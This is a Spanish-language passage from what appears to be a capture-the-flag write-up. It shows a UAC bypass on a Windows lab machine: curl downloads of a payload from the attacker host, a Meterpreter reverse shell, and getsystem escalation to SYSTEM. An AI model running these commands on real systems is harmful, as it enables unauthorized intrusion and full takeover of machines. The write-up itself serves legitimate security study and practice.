[*] Started reverse TCP handler on 10.8.0.100:4444
Descargamos los archivos y ejecutamos el elevator pasandole como comando a ejecutar el shell.exe
, lo ejecutamos y esto deberia ejecutarse bypasseando UAC
C:\ProgramData> curl 10.8.0.100/shell.exe -o shell.exe
C:\ProgramData> curl 10.8.0.100/elevator.exe -o elevator.exe
C:\ProgramData> elevator.exe "C:\ProgramData\shell.exe" --new-console
[+] Unelevatad notepad.exe process created.
[+] Reference to debug object retrieved.
[+] Debug object successfully detached.
[+] Elevated taskmgr.exe process created.
[+] Initial process creation debug event obtained.
[+] Full access handle obtained.
[!] Elevated process spawned!
C:\ProgramData>
Cuando ejecuta el shell.exe
bypasseando UAC
recibimos una sesión nuevamente de rainbow
pero ahora con privilegios totales sobre el sistema como administrador
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
[*] Started reverse TCP handler on 10.8.0.100:4444
[*] Sending stage (201798 bytes) to 10.10.122.10
[*] Meterpreter session 1 opened (10.8.0.100:4444 -> 10.10.122.10:49867)
(Meterpreter 1)(C:\ProgramData) > getuid
Server username: RAINBOW\rainbow
(Meterpreter 1)(C:\ProgramData) > getprivs
Enabled Process Privileges
==========================
Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeDelegateSessionUserImpersonatePrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
(Meterpreter 1)(C:\ProgramData) >
Y aunque es totalmente innecesario en este punto, podemos usar getsystem
para convertirnos en el usuario nt authority\system
que tiene máximos privilegios
(Meterpreter 1)(C:\ProgramData) > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
(Meterpreter 1)(C:\ProgramData) > getuid
Server username: NT AUTHORITY\SYSTEM
(Meterpreter 1)(C:\ProgramData) >